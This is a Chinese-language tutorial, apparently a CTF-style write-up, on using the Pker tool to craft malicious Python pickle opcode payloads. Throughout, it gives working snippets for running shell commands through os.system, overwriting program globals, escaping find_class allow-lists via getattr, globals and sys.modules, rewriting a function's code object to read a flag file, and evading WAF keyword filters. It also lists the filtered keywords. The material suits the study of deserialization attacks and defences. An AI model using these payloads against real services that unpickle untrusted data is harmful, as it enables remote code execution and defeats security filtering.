探究Pker对opcode字节码的利用
字数 1823 2025-08-22 12:23:19
Pker工具对Python pickle opcode的利用详解
1. 前言与基本概念
1.1 pickle序列化基础
Python的pickle模块使用操作码(opcode)来定义序列化过程中的指令和格式。操作码是表示序列化操作的指令,以字节形式存储在pickle数据流中,每个操作码对应一个Python对象类型或序列化操作。
1.2 Pker工具简介
Pker是一个用于生成pickle操作码(opcode)的工具,主要功能包括:
- 简化操作码编写和调试
- 方便构造pickle二进制流
- 避免手动编写每个操作码
2. Pker核心功能与操作码转换
2.1 核心函数
Pker通过三个特殊函数操作Python对象:
-
GLOBAL (对应opcode:
b'c')- 获取module下的全局对象
- 语法:
GLOBAL('module', 'instance') - 示例:
GLOBAL('os', 'system')
-
INST (对应opcode:
b'i')- 建立并入栈一个对象(可执行函数)
- 语法:
INST('module', 'callable', 'para') - 示例:
INST('os', 'system', 'ls')
-
OBJ (对应opcode:
b'o')- 建立并入栈一个对象(第一个参数为callable)
- 语法:
OBJ(callable, para) - 示例:
OBJ(GLOBAL('os', 'system'), 'ls')
2.2 其他重要操作码
b'R': 使用参数调用函数(先入栈函数,再入栈参数并调用)b's': 更新列表或字典的值(如li[0]=321)b'b': 对象属性设置(如xx.attr=123)b'0': 出栈(作为pickle.loads的返回值)
3. Pker使用限制
3.1 禁止的操作
不能直接通过索引或属性访问获取值:
value = obj.attribute # 不支持
value = my_dict[key] # 不支持
3.2 允许的操作
- 使用函数获取值:
value = getattr(obj, 'attribute')
value = my_dict.get(key)
- 赋值操作不受限制:
setattr(obj, 'attribute', new_value)
my_dict[key] = new_value
4. Pker实战应用
4.1 命令执行方法
4.1.1 b'R'调用机制
s = 'whoami'
system = GLOBAL('os', 'system')
system(s) # b'R'调用
return
4.1.2 b'i'调用机制
INST('os', 'system', 'whoami')
4.1.3 b'c'和b'o'调用机制
OBJ(GLOBAL('os', 'system'), 'whoami')
4.1.4 多参数调用
INST('[module]', '[callable]', par0, par1...)
OBJ(GLOBAL('[module]', '[callable]'), par0, par1...)
4.2 实例化对象
4.2.1 直接实例化
animal = INST('__main__', 'Animal', '1', '2')
return animal
或
animal = OBJ(GLOBAL('__main__', 'Animal'), '1', '2')
return animal
4.2.2 先实例化后赋值
animal = INST('__main__', 'Animal')
animal.name = '1'
animal.category = '2'
return animal
4.3 全局变量覆盖
4.3.1 覆盖执行文件变量
secret = GLOBAL('__main__', 'secret')
secret.name = '1'
secret.category = '2'
4.3.2 覆盖模块变量
game = GLOBAL('guess_game', 'game')
game.curr_ticket = '123'
5. 绕过限制的技巧
5.1 绕过builtins限制
当find_class限制只允许安全builtins时:
getattr = GLOBAL('builtins', 'getattr')
dict = GLOBAL('builtins', 'dict')
dict_get = getattr(dict, 'get')
glo_dic = GLOBAL('builtins', 'globals')()
builtins = dict_get(glo_dic, 'builtins')
eval = getattr(builtins, 'eval')
eval('print("123")')
return
5.2 绕过sys模块限制
当只允许sys模块且禁止子模块时:
modules = GLOBAL('sys', 'modules')
modules['sys'] = modules
modules_get = GLOBAL('sys', 'get')
os = modules_get('os')
modules['sys'] = os
system = GLOBAL('sys', 'system')
system('whoami')
return
6. 高级利用技巧:修改字节码
6.1 修改函数字节码常量
通过修改co_consts改变函数行为:
getattr = GLOBAL('builtins', 'getattr')
src = GLOBAL('__main__', 'src')
setattr = GLOBAL('builtins', 'setattr')
codetype = GLOBAL('types', 'CodeType')
g2 = getattr(src, "__code__")
g3 = getattr(g2, "co_argcount")
# 获取其他必要属性...
g10 = (None, '/flag', 'r', 'utf-8', ('encoding',))
g19 = codetype(g3, g4, g5, g6, g7, g8, g9, g10, g11, g12, g13, g14, g15, g16, g17, g18)
setattr(src, "__code__", g19)
return
6.2 CodeType参数说明
types.CodeType构造函数参数:
- co_argcount: 参数数量
- co_posonlyargcount: 仅位置参数数量
- co_kwonlyargcount: 仅关键字参数数量
- co_nlocals: 局部变量数量
- co_stacksize: 所需堆栈大小
- co_flags: 标志位
- co_code: 字节码指令
- co_consts: 字节码使用的常量元组(关键修改点)
- co_names: 使用的名称元组
- co_varnames: 局部变量名元组
- co_filename: 文件名
- co_name: 函数名
- co_firstlineno: 第一行行号
- co_lnotab: 行号表
- co_freevars: 自由变量元组
- co_cellvars: 单元变量元组
7. 防御与绕过WAF
7.1 常见WAF检测点
WAF通常会检测以下关键词:
{"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__',
'template', 'render', '\\', 'compile', 'requests', 'exit', 'pickle',
"class", "mro", "flask", "sys", "base", "init", "config", "session"}
7.2 绕过技巧
- 使用间接引用(如通过sys.modules获取os)
- 使用字符串拼接
- 利用属性访问而非直接引用
- 修改字节码而非直接调用危险函数
8. 总结
Pker工具通过抽象pickle操作码,提供了更便捷的方式来构造pickle payload。关键点包括:
- 理解GLOBAL、INST、OBJ三种核心操作
- 掌握操作码与Python代码的对应关系
- 熟悉绕过各种限制的技巧
- 了解高级的字节码修改技术
- 掌握WAF绕过方法
通过灵活组合这些技术,可以实现从简单的命令执行到复杂的对象操作等多种攻击场景。